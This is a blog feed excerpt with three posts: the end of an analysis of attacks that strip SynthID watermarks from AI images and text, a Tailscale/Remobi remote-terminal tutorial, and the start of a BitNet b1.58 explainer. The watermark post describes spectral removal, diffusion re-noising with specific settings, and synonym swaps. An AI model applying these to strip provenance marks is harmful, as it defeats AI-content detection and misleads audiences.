&lt;p&gt;The attack drops phase coherence by 91.4%, effectively making the watermark unreadable to the detector. Meanwhile, the image quality stays at 43+ dB PSNR. For reference, anything above 40 dB is considered visually imperceptible. The watermark is gone. The image looks the same. The project references the official SynthID paper (&lt;a href=&quot;https://arxiv.org/abs/2510.09263&quot;&gt;arXiv:2510.09263&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://github.com/zDarkHaze/reverse-synthid/raw/main/artifacts/visualizations/deep_analysis/frequency_analysis.png&quot; alt=&quot;Deep frequency analysis showing watermark signal extraction and characterization&quot; /&gt;
&lt;em&gt;Source: &lt;a href=&quot;https://github.com/zDarkHaze/reverse-synthid&quot;&gt;zDarkHaze/reverse-synthid&lt;/a&gt; — deep frequency analysis&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Attack 2: Can Diffusion Models Overwrite the Watermark?&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/00quebec/Synthid-Bypass&quot;&gt;Synthid-Bypass&lt;/a&gt; project, built by contributors 00quebec (Klaus) and MegalithicBTC, takes a completely different philosophy. Rather than understanding the watermark&apos;s structure, it just overwrites it.&lt;/p&gt;
&lt;h3&gt;The Core Insight&lt;/h3&gt;
&lt;p&gt;SynthID lives in the same place as pixel-level noise. It has to: that is how it stays invisible. But diffusion models generate images by progressively removing noise. If you feed a watermarked image back through a diffusion model at low strength, the model regenerates the noise layer while keeping the composition intact. The new noise replaces the old noise. The watermark was part of the old noise.&lt;/p&gt;
&lt;p&gt;The researchers discovered the watermark by asking the AI to generate a pure black image, then cranking the exposure and contrast to reveal the hidden pattern:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://github.com/00quebec/Synthid-Bypass/raw/main/synthid_analysis/nano_banana_remake_process.png&quot; alt=&quot;Step-by-step process of revealing the SynthID watermark by adjusting exposure and contrast on a pure black AI-generated image&quot; /&gt;
&lt;em&gt;Source: &lt;a href=&quot;https://github.com/00quebec/Synthid-Bypass&quot;&gt;00quebec/Synthid-Bypass&lt;/a&gt; — watermark discovery process&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;How the ComfyUI Workflow Operates&lt;/h3&gt;
&lt;p&gt;&amp;lt;Mermaid chart={`flowchart LR
subgraph input[&quot;📥 Input&quot;]
WM[&quot;🖼️ Watermarked\nImage&quot;]
end&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;subgraph lock[&quot;🔒 Structure Lock&quot;]
    direction TB
    Canny[&quot;Canny Edge\nDetection&quot;] e1@--&amp;gt; CN[&quot;ControlNet&quot;]
    CN --&amp;gt; Struct[&quot;Edges + shapes\n+ layout LOCKED&quot;]
end

subgraph regen[&quot;🔄 Noise Regeneration&quot;]
    direction TB
    Diff[&quot;Diffusion Model\ndenoise 0.2–0.4&quot;] e2@--&amp;gt; NewNoise[&quot;New noise layer\ngenerated&quot;]
    NewNoise e3@--&amp;gt; Merge[&quot;Merge with\nlocked structure&quot;]
end

subgraph output[&quot;📤 Output&quot;]
    Clean[&quot;🖼️ Clean Image\nwatermark overwritten&quot;]
end

WM e4@--&amp;gt; lock
WM e5@--&amp;gt; regen
lock --&amp;gt; Merge
Merge e6@--&amp;gt; Clean

e1@{ animate: true }
e2@{ animate: true }
e3@{ animate: true }
e4@{ animate: true }
e5@{ animate: true }
e6@{ animate: true }`}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;/&amp;gt;&lt;/p&gt;
&lt;p&gt;The bypass uses a single ComfyUI workflow combining several tools:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ControlNet with Canny edge detection&lt;/strong&gt; locks the image&apos;s structural composition. Edges, shapes, and layout stay fixed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A low-denoise diffusion pass&lt;/strong&gt; (strength 0.2 to 0.4) regenerates only the fine details: texture, grain, and the noise floor where the watermark lives.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Qwen Image models and Z-Image Turbo&lt;/strong&gt; handle the generation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ultralytics and MediaPipe&lt;/strong&gt; preserve face integrity when portraits are involved.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here is the actual V2 ComfyUI node graph used to execute the bypass:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://github.com/00quebec/Synthid-Bypass/raw/main/workflow_screenshots/workflow.png&quot; alt=&quot;ComfyUI V2 workflow screenshot showing the complete node graph for the SynthID bypass&quot; /&gt;
&lt;em&gt;Source: &lt;a href=&quot;https://github.com/00quebec/Synthid-Bypass&quot;&gt;00quebec/Synthid-Bypass&lt;/a&gt; — V2 ComfyUI workflow&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The process is conceptually simple: tell the AI to &quot;repaint&quot; the image at very low intensity. The major features survive because ControlNet holds them in place. The watermark does not survive because it exists at the same scale as the noise being regenerated.&lt;/p&gt;
&lt;p&gt;The project references the academic paper &quot;Stable signature is unstable: Removing image watermark from diffusion models&quot; by Hu, Y., et al. (2024), which established the theoretical basis for this class of attack.&lt;/p&gt;
&lt;h3&gt;Why This Is Hard to Defend Against&lt;/h3&gt;
&lt;p&gt;This attack does not require any knowledge of SynthID&apos;s internals. It works against any watermark that embeds information in pixel-space noise. A stronger watermark would need to modify the image at a level visible to humans, which defeats the purpose of being invisible. The attacker&apos;s tool is the same class of model that created the image in the first place. You cannot easily strip the ability to generate images from systems designed to generate images.&lt;/p&gt;
&lt;h2&gt;Attack 3: Why Do Synonym Swaps Break Text Watermarks?&lt;/h2&gt;
&lt;p&gt;The text watermark vulnerability is the simplest to understand and the hardest to fix.&lt;/p&gt;
&lt;p&gt;SynthID for text works by altering token probabilities during generation. It uses a sliding window of previous words combined with a private key to create a deterministic pattern. Instead of choosing word A with 80% probability and word B with 20%, the watermarked model might shift to 70% and 30%. Across hundreds of tokens, these small biases create a detectable statistical signature.&lt;/p&gt;
&lt;p&gt;&amp;lt;Mermaid chart={`sequenceDiagram
participant LLM as 🤖 LLM + SynthID
participant Window as 📏 Sliding Window
participant Key as 🔑 Private Key
participant Output as 📝 Output&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Note over LLM, Output: Watermarked Generation
LLM-&amp;gt;&amp;gt;Window: Previous 4 tokens
Window-&amp;gt;&amp;gt;Key: Hash(tokens + key)
Key-&amp;gt;&amp;gt;LLM: Probability shift pattern
LLM-&amp;gt;&amp;gt;Output: &quot;The results were significant&quot;
Note right of Output: Biased token choice ✅

Note over LLM, Output: After Synonym Swap
LLM-&amp;gt;&amp;gt;Window: Previous 4 tokens
Note over Window: ⚠️ &quot;significant&quot; → &quot;major&quot;
Window-&amp;gt;&amp;gt;Key: Hash(NEW tokens + key)
Key-&amp;gt;&amp;gt;LLM: DIFFERENT shift pattern
Note right of Output: ❌ Chain broken
Note right of Output: Detector cannot trace
Note right of Output: the pattern back`}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;/&amp;gt;&lt;/p&gt;
&lt;p&gt;The dependency on exact word sequences is the weakness. Replace &quot;significant&quot; with &quot;major.&quot; Swap &quot;utilize&quot; for &quot;use.&quot; Restructure a sentence from passive to active voice. Each substitution breaks the sliding window&apos;s expected sequence. The detector can no longer trace the pattern back through the chain of conditional probabilities.&lt;/p&gt;
&lt;p&gt;You don&apos;t need sophisticated tools for this. Any paraphrasing model, even a simple grammar checker that suggests alternatives, can inadvertently strip the watermark. The attack does not require intent. It happens as a side effect of normal text editing.&lt;/p&gt;
&lt;p&gt;This is a design constraint, not a bug. The watermark must be invisible (no effect on text quality), must survive across long passages (statistical detection), and must not alter the meaning of the output. These requirements force the watermark to operate at the shallowest level possible: token probability nudging. And that shallow level cannot survive content transformation.&lt;/p&gt;
&lt;h2&gt;What Does This Mean for AI Content Trust?&lt;/h2&gt;
&lt;p&gt;Three attacks, three different approaches, one conclusion: invisible watermarks are speed bumps, not security boundaries.&lt;/p&gt;
&lt;p&gt;&amp;lt;Mermaid chart={`flowchart TB
subgraph attacks[&quot;⚔️ Three Attack Vectors&quot;]
direction LR
A1[&quot;🔬 Spectral Analysis\n91.4% coherence drop\n43+ dB PSNR&quot;]
A2[&quot;🔄 Diffusion Re-nosing\nOverwrites pixel noise\nNo SynthID knowledge needed&quot;]
A3[&quot;📝 Synonym Swap\nBreaks token window\nSide effect of editing&quot;]
end&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;subgraph defenses[&quot;🛡️ Defense Layers&quot;]
    direction LR
    D1[&quot;SynthID\n🟡 Speed bump\nCasual misuse deterrent&quot;]
    D2[&quot;C2PA\n🟢 Cryptographic proof\nExplicit provenance chain&quot;]
    D3[&quot;Contextual Analysis\n🔵 Behavioral signals\nMulti-source verification&quot;]
end

attacks --&amp;gt; Lesson[&quot;💡 No single defense is sufficient&quot;]
Lesson --&amp;gt; defenses
D1 --- D2 --- D3
D1 ~~~ Combined[&quot;Combined approach\nraises cost of forgery&quot;]
D3 ~~~ Combined`}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;/&amp;gt;&lt;/p&gt;
&lt;p&gt;That does not make them useless. Speed bumps slow down casual misuse. They provide a quick check for platforms that want to flag likely AI content. They give well-meaning users a way to verify origin. For the average screenshot shared on social media, SynthID works fine.&lt;/p&gt;
&lt;p&gt;But against a motivated actor with freely available tools and a few minutes? The watermark is gone. Spectral analysis strips it surgically. A diffusion pass overwrites it blindly. Synonym swaps defeat the text version as a side effect of basic editing.&lt;/p&gt;
&lt;h3&gt;The Arms Race Problem&lt;/h3&gt;
&lt;p&gt;The developers behind these bypass projects frame their work as educational and safety research. They want to expose limitations so that more robust systems get built. But the fundamental asymmetry is structural: the watermark must be invisible and survive common modifications, while the attacker can use any tool that preserves visual quality.&lt;/p&gt;
&lt;p&gt;Watermarking researchers can adjust carrier frequencies, add redundancy, vary the phase template per image. Each defense makes the watermark more complex, potentially more visible, and definitely more computationally expensive. The attacker just runs a diffusion pass.&lt;/p&gt;
&lt;h3&gt;C2PA: A Complementary Approach&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://c2pa.org/&quot;&gt;Coalition for Content Provenance and Authenticity&lt;/a&gt; (C2PA) takes a fundamentally different strategy. Instead of embedding information in pixel values, C2PA attaches cryptographic metadata to files. Think of it as a signed certificate that travels with the image, recording who created it, when, and with what tools.&lt;/p&gt;
&lt;p&gt;C2PA does not try to be invisible. It is an explicit declaration of provenance, similar in spirit to how &lt;a href=&quot;/blog/json-ld-structured-data&quot;&gt;structured data with JSON-LD&lt;/a&gt; makes page metadata machine-readable rather than hidden. C2PA can be stripped by re-saving the image, but that is a detectable act. An image without C2PA metadata in a world where major platforms require it is suspicious by its absence.&lt;/p&gt;
&lt;p&gt;The strongest stance combines both: SynthID (or similar) as a quick statistical check, C2PA as a cryptographic proof of chain of custody. Neither alone solves the problem. Together, they raise the cost of convincing forgery.&lt;/p&gt;
&lt;h3&gt;Where This Leaves Developers&lt;/h3&gt;
&lt;p&gt;If you are building systems that consume AI-generated content, do not treat watermark detection as a binary trust signal. Treat it as one input among several. Combine it with metadata checks, provenance chains, and contextual analysis. The watermark tells you &quot;this probably came from an AI model.&quot; It does not tell you &quot;this definitely came from an AI model,&quot; and it definitely cannot tell you &quot;this did not come from an AI model.&quot;&lt;/p&gt;
&lt;p&gt;The deeper lesson from these attacks is that any security system operating purely in pixel space is competing against the same generative models it is trying to control. As &lt;a href=&quot;/blog/bitnet-b158-1-bit-llm&quot;&gt;1-bit LLMs&lt;/a&gt; make local inference cheaper and diffusion models keep improving, the cost of regeneration drops while the cost of robust watermarking rises. That is the structural reality, and building systems that acknowledge it is better than building systems that pretend otherwise.&lt;/p&gt;
&lt;h2&gt;Frequently Asked Questions&lt;/h2&gt;
&lt;h3&gt;Can SynthID detect if a watermark has been removed?&lt;/h3&gt;
&lt;p&gt;No. SynthID&apos;s detection model checks for the presence of the watermark pattern. If the pattern is absent, the detector returns &quot;not detected,&quot; which is the same result as for any non-AI image. There is no separate signal indicating removal. The spectral attack achieves a 91.4% phase coherence drop, pushing the watermark below detection thresholds.&lt;/p&gt;
&lt;h3&gt;Does removing the watermark affect image quality?&lt;/h3&gt;
&lt;p&gt;The spectral analysis approach maintains 43+ dB PSNR, which is visually imperceptible. The diffusion re-nosing method can introduce subtle texture changes depending on the denoise strength (0.2-0.4), but at low settings the output is indistinguishable from the original to the human eye.&lt;/p&gt;
&lt;h3&gt;Are other AI watermarks vulnerable to the same attacks?&lt;/h3&gt;
&lt;p&gt;The diffusion re-nosing attack works against any watermark embedded in pixel-space noise, not just SynthID. The paper &quot;Stable signature is unstable&quot; (Hu et al., 2024) demonstrated this against Stable Diffusion&apos;s watermarking. The spectral attack is specific to SynthID&apos;s fixed phase template design, but similar frequency-analysis approaches could target other spectral watermarks.&lt;/p&gt;
&lt;h3&gt;What is C2PA and how does it differ from watermarking?&lt;/h3&gt;
&lt;p&gt;C2PA (Coalition for Content Provenance and Authenticity) attaches cryptographic metadata to files rather than embedding information in pixels. It records creation details in a signed manifest. Unlike watermarks, C2PA metadata is explicit and verifiable. It can be stripped by re-saving the file, but the absence of metadata is itself a signal in ecosystems that expect it.&lt;/p&gt;
</content:encoded></item><item><title>Remote Terminal: iPhone to Mac via Tailscale</title><link>https://didof.dev/blog/remote-terminal-iphone-mac-tailscale/</link><guid isPermaLink="true">https://didof.dev/blog/remote-terminal-iphone-mac-tailscale/</guid><description>Set up a secure remote terminal from your iPhone to your Mac using Tailscale and Remobi. No port forwarding, no SSH keys, zero internet exposure. Takes five minutes.</description><pubDate>Fri, 10 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I wanted to run terminal commands on my Mac from my iPhone. Not through some clunky VNC app. Not by opening SSH ports on my router. I wanted a real terminal, in my pocket, that works from anywhere, without exposing my machine to the internet.&lt;/p&gt;
&lt;p&gt;It took five minutes, two free tools, and zero networking knowledge. Here is exactly how.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tailscale creates a private WireGuard tunnel between your devices. No ports opened on your router.&lt;/li&gt;
&lt;li&gt;Remobi serves a web terminal via npx. One command, no install.&lt;/li&gt;
&lt;li&gt;Binding to your Tailscale IP (not &lt;code&gt;0.0.0.0&lt;/code&gt;) is the difference between &quot;works&quot; and &quot;safe to leave running.&quot;&lt;/li&gt;
&lt;li&gt;Add it to your iPhone Home Screen and it behaves like a native app.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;What Are We Building?&lt;/h2&gt;
&lt;p&gt;A full terminal running on your Mac, accessible from Safari on your iPhone, encrypted end-to-end, invisible to the public internet. You type commands on your phone, they execute on your Mac. You can be on the same WiFi or on the other side of the planet. It does not matter because the connection goes through a private mesh network, not the internet.&lt;/p&gt;
&lt;p&gt;The stack is two tools:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Tailscale&lt;/strong&gt;: a free mesh VPN built on WireGuard. It gives each of your devices a private IP address (like &lt;code&gt;100.x.y.z&lt;/code&gt;) and routes traffic between them through an encrypted tunnel. Nothing is exposed to the public internet. No router configuration needed. If you have &lt;a href=&quot;/blog/setup-n8n-and-searxng-locally&quot;&gt;local services like n8n running on your machine&lt;/a&gt;, Tailscale makes them accessible from your phone too.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Remobi&lt;/strong&gt;: a tiny terminal server you launch with &lt;code&gt;npx&lt;/code&gt;. It opens a web-based terminal that you access from any browser. No installation, no accounts.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What You Will Need&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;A Mac (any recent macOS version)&lt;/li&gt;
&lt;li&gt;An iPhone (or iPad, or any device with a browser)&lt;/li&gt;
&lt;li&gt;A &lt;a href=&quot;https://tailscale.com/&quot;&gt;Tailscale account&lt;/a&gt; (free for personal use, up to 100 devices)&lt;/li&gt;
&lt;li&gt;Node.js installed on your Mac (for &lt;code&gt;npx&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Total setup time: about five minutes.&lt;/p&gt;
&lt;h2&gt;Set Up Tailscale on Both Devices&lt;/h2&gt;
&lt;p&gt;If you already use Tailscale, skip to the next section.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Install &lt;a href=&quot;https://tailscale.com/download/mac&quot;&gt;Tailscale on your Mac&lt;/a&gt; from the website or the App Store.&lt;/li&gt;
&lt;li&gt;Install &lt;a href=&quot;https://apps.apple.com/app/tailscale/id1470499037&quot;&gt;Tailscale on your iPhone&lt;/a&gt; from the App Store.&lt;/li&gt;
&lt;li&gt;Log in with the same account on both devices.&lt;/li&gt;
&lt;li&gt;On your iPhone, toggle the VPN on.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That is it. Both devices are now on the same private network. You can verify by opening Terminal on your Mac and running:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tailscale status
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You should see both your Mac and your iPhone listed. Note your Mac&apos;s Tailscale IP. It starts with &lt;code&gt;100.&lt;/code&gt; and looks something like &lt;code&gt;100.122.133.96&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If the &lt;code&gt;tailscale&lt;/code&gt; command is not found, add an alias to your shell config:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;alias tailscale=&quot;/Applications/Tailscale.app/Contents/MacOS/Tailscale&quot;&apos; &amp;gt;&amp;gt; ~/.zshrc
source ~/.zshrc
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Launch the Terminal Server&lt;/h2&gt;
&lt;p&gt;Here is where most guides get the security wrong.&lt;/p&gt;
&lt;p&gt;The obvious command to start Remobi is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npx remobi@latest serve --host 0.0.0.0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That works. But &lt;code&gt;0.0.0.0&lt;/code&gt; tells your Mac to listen on every network interface. Your Tailscale tunnel, yes, but also your local WiFi. If you are at a coffee shop, anyone on the same network could theoretically browse to your local IP and get a terminal on your machine.&lt;/p&gt;
&lt;p&gt;The fix is simple. Bind Remobi to your Tailscale IP only:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npx remobi@latest serve --host 100.122.133.96
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace that IP with your actual Tailscale IP from the previous step. Now the terminal server only accepts connections from the private Tailscale network. Someone sitting next to you at Starbucks would not even see it.&lt;/p&gt;
&lt;p&gt;Keep this terminal window open. The server runs as long as the process is alive.&lt;/p&gt;
&lt;h2&gt;Connect From Your iPhone&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Make sure Tailscale is active on your iPhone (the VPN toggle in Settings or the Tailscale app).&lt;/li&gt;
&lt;li&gt;Open Safari and go to: &lt;code&gt;http://100.122.133.96:7681&lt;/code&gt; (using your Mac&apos;s Tailscale IP).&lt;/li&gt;
&lt;li&gt;You should see a full terminal. Try &lt;code&gt;ls&lt;/code&gt; or &lt;code&gt;pwd&lt;/code&gt; to confirm you are on your Mac.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now the trick that makes this feel native: tap the &lt;strong&gt;Share&lt;/strong&gt; button in Safari, then tap &lt;strong&gt;&quot;Add to Home Screen.&quot;&lt;/strong&gt; Give it a name like &quot;Mac Terminal.&quot; This creates a PWA-style shortcut that opens in full screen, no browser chrome. It looks and feels like an app.&lt;/p&gt;
&lt;h2&gt;Mirror the Session With tmux&lt;/h2&gt;
&lt;p&gt;Remobi runs inside a tmux session called &lt;code&gt;main&lt;/code&gt;. This means you can attach to the same session from your Mac and see exactly what your iPhone is doing in real time.&lt;/p&gt;
&lt;p&gt;Open a new terminal tab on your Mac and run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tmux attach -t main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both screens now show the same session. Type on your phone, it appears on your Mac. Type on your Mac, it appears on your phone. This is useful for debugging: run something from your phone while watching the output on a bigger screen.&lt;/p&gt;
&lt;p&gt;On my home WiFi, keystrokes appear instantly. Over LTE from a cafe, I noticed maybe a half-second delay, but for running git commands or restarting services it never mattered.&lt;/p&gt;
&lt;p&gt;To detach without killing the session, press &lt;code&gt;Ctrl+B&lt;/code&gt; then &lt;code&gt;D&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Keep Your Mac Awake&lt;/h2&gt;
&lt;p&gt;If your Mac goes to sleep, the Tailscale connection drops and Remobi dies. If you want to leave this running while you are away, you need to prevent sleep.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option 1: System Settings&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Go to &lt;strong&gt;System Settings &amp;gt; Displays &amp;gt; Advanced&lt;/strong&gt; and enable &lt;strong&gt;&quot;Prevent automatic sleeping when the display is off.&quot;&lt;/strong&gt; Also check &lt;strong&gt;System Settings &amp;gt; Battery &amp;gt; Options&lt;/strong&gt; and enable &lt;strong&gt;&quot;Wake for network access.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option 2: The caffeinate command&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Run this in a separate terminal tab:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;caffeinate -s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This keeps the Mac awake as long as the command is running. Kill it with &lt;code&gt;Ctrl+C&lt;/code&gt; when you are done.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option 3: Amphetamine&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://apps.apple.com/app/amphetamine/id937984704&quot;&gt;Amphetamine&lt;/a&gt; is a free app from the App Store that gives you fine-grained control over when your Mac stays awake. You can set it to stay awake only while Remobi is running.&lt;/p&gt;
&lt;h2&gt;How Secure Is This Actually?&lt;/h2&gt;
&lt;p&gt;Here is the honest breakdown:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Threat&lt;/th&gt;
&lt;th&gt;Risk&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Random attacker from the internet&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;None&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No ports are open on your router. There is nothing to find.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Someone on the same WiFi&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;None&lt;/strong&gt; (if you bound to Tailscale IP)&lt;/td&gt;
&lt;td&gt;The server only listens on the private Tailscale interface.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Someone on the same WiFi&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Medium&lt;/strong&gt; (if you used &lt;code&gt;0.0.0.0&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;They could find your local IP and access the terminal.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tailscale account compromise&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Extremely low&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;An attacker would need to steal your Tailscale identity.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The key takeaway: &lt;strong&gt;bind to your Tailscale IP, not &lt;code&gt;0.0.0.0&lt;/code&gt;.&lt;/strong&gt; That single flag is the difference between a locked door and an open one.&lt;/p&gt;
&lt;p&gt;All traffic between your iPhone and Mac is encrypted with &lt;a href=&quot;https://www.wireguard.com/&quot;&gt;WireGuard&lt;/a&gt;, a modern VPN protocol that has been &lt;a href=&quot;https://www.wireguard.com/formal-verification/&quot;&gt;formally verified&lt;/a&gt; and adopted by providers like Mullvad, Mozilla VPN, and Cloudflare WARP. Tailscale adds identity-based access control on top. Their &lt;a href=&quot;https://tailscale.com/security/&quot;&gt;security model&lt;/a&gt; is well documented.&lt;/p&gt;
&lt;p&gt;When you are done, type &lt;code&gt;exit&lt;/code&gt; on your phone to close the terminal session, then &lt;code&gt;Ctrl+C&lt;/code&gt; on your Mac to stop the Remobi server.&lt;/p&gt;
&lt;h2&gt;It Works on Linux and Windows Too&lt;/h2&gt;
&lt;p&gt;Everything in this guide except the sleep prevention steps is OS-agnostic. Tailscale runs on Linux, Windows, and even Raspberry Pi. Remobi is just Node.js.&lt;/p&gt;
&lt;p&gt;On Linux, replace the sleep prevention with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemd-inhibit --what=idle npx remobi@latest serve --host $(tailscale ip -4)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On Windows, install Tailscale from their website, run &lt;code&gt;npx remobi@latest serve --host &amp;lt;your-tailscale-ip&amp;gt;&lt;/code&gt; in PowerShell, and connect from your phone the same way.&lt;/p&gt;
&lt;p&gt;The Tailscale IP binding trick works identically on every platform. The private network does not care what OS either end is running.&lt;/p&gt;
&lt;h2&gt;Frequently Asked Questions&lt;/h2&gt;
&lt;h3&gt;Does this work over mobile data or only on WiFi?&lt;/h3&gt;
&lt;p&gt;It works everywhere. Tailscale routes traffic through relay servers (called DERP) when a direct connection is not possible. You can be on cellular data on your iPhone and WiFi on your Mac. The connection goes through Tailscale&apos;s infrastructure, encrypted end-to-end. Latency is slightly higher over cellular, but for terminal use it is unnoticeable.&lt;/p&gt;
&lt;h3&gt;Can I use this with an Android phone?&lt;/h3&gt;
&lt;p&gt;Yes. Tailscale has an &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.tailscale.ipn&quot;&gt;Android app&lt;/a&gt;. The browser-based terminal works in Chrome on Android the same way it works in Safari on iPhone. You can also add it to your home screen as a PWA.&lt;/p&gt;
&lt;h3&gt;Is Remobi safe to use? It runs via npx.&lt;/h3&gt;
&lt;p&gt;Remobi is open source (&lt;a href=&quot;https://github.com/connorads/remobi&quot;&gt;GitHub&lt;/a&gt;) and small enough to audit in an afternoon. It wraps &lt;a href=&quot;https://github.com/nickoala/nickoala-ttyd&quot;&gt;ttyd&lt;/a&gt;, a well-known web terminal tool. Running it via npx means you always get the latest version. The security boundary is Tailscale, not Remobi: even if Remobi had a vulnerability, only devices on your Tailnet can reach it.&lt;/p&gt;
</content:encoded></item><item><title>BitNet b1.58: The 1-Bit LLM That Matches Full-Precision Models</title><link>https://didof.dev/blog/bitnet-b158-1-bit-llm/</link><guid isPermaLink="true">https://didof.dev/blog/bitnet-b158-1-bit-llm/</guid><description>BitNet b1.58 replaces every Transformer weight with -1, 0, or 1, cutting energy use by 71.4x while matching FP16 quality at 3B+ parameters. Here is how.</description><pubDate>Thu, 09 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Take a 100-billion parameter language model. The kind that normally lives in a rack of A100 GPUs, drinking kilowatts, costing real money per query. Now run it on a single CPU. Not a beefy server CPU. A consumer chip. And watch it produce tokens at 5 to 7 per second, roughly the speed you read this sentence.&lt;/p&gt;
&lt;p&gt;That is &lt;a href=&quot;https://github.com/microsoft/BitNet&quot;&gt;bitnet.cpp&lt;/a&gt;, and the trick behind it will change how you think about what an LLM actually needs.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;BitNet b1.58 uses ternary weights {-1, 0, 1}, replacing floating-point matrix multiplications with integer additions&lt;/li&gt;
&lt;li&gt;At 3B+ parameters, it matches FP16 model quality in perplexity and zero-shot tasks&lt;/li&gt;
&lt;li&gt;Energy cost of matrix multiplication drops by 71.4x on 7nm chips&lt;/li&gt;
&lt;li&gt;A 70B BitNet model uses 7.16x less memory and delivers 8.9x higher throughput than FP16&lt;/li&gt;
&lt;li&gt;Inference frameworks already exist for CPUs, browsers (WebGPU), and mobile GPUs&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;What If Every Weight Was Just -1, 0, or 1?&lt;/h2&gt;
&lt;p&gt;Here is the setup. A standard LLM like LLaMA or GPT stores its knowledge in weight matrices: massive grids of floating-point numbers in FP16 format. Each number is 16 bits of precision. A 70B model has 70 billion of these, totaling about 140 GB just for the raw weights.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://arxiv.org/abs/2402.17764&quot;&gt;BitNet b1.58&lt;/a&gt; (Ma et al., 2024) asks: what if we threw away 14.42 of those 16 bits?&lt;/p&gt;
&lt;p&gt;Every weight becomes one of three values: &lt;strong&gt;-1, 0, or 1&lt;/strong&gt;. That is it. Three options per parameter. The name &quot;1.58-bit&quot; comes from information theory: log₂(3) ≈ 1.58. You need 1.58 bits to encode three states. The original &lt;a href=&quot;https://arxiv.org/abs/2310.11453&quot;&gt;BitNet&lt;/a&gt; (Wang et al., 2023) tried binary weights (-1 and 1 only), but adding zero turned out to be the key insight.&lt;/p&gt;
&lt;p&gt;Why does zero matter? Because a weight of zero means &quot;this connection does not exist.&quot; The network can selectively mute inputs it does not care about. Binary weights force every connection to either add or subtract. Ternary weights can also ignore. That small difference gives the model significantly stronger capacity.&lt;/p&gt;
&lt;p&gt;The mechanism that makes this work is a new layer called &lt;strong&gt;BitLinear&lt;/strong&gt;, which slots in wherever a standard &lt;code&gt;nn.Linear&lt;/code&gt; lives. Same inputs, same outputs, completely different internals.&lt;/p&gt;
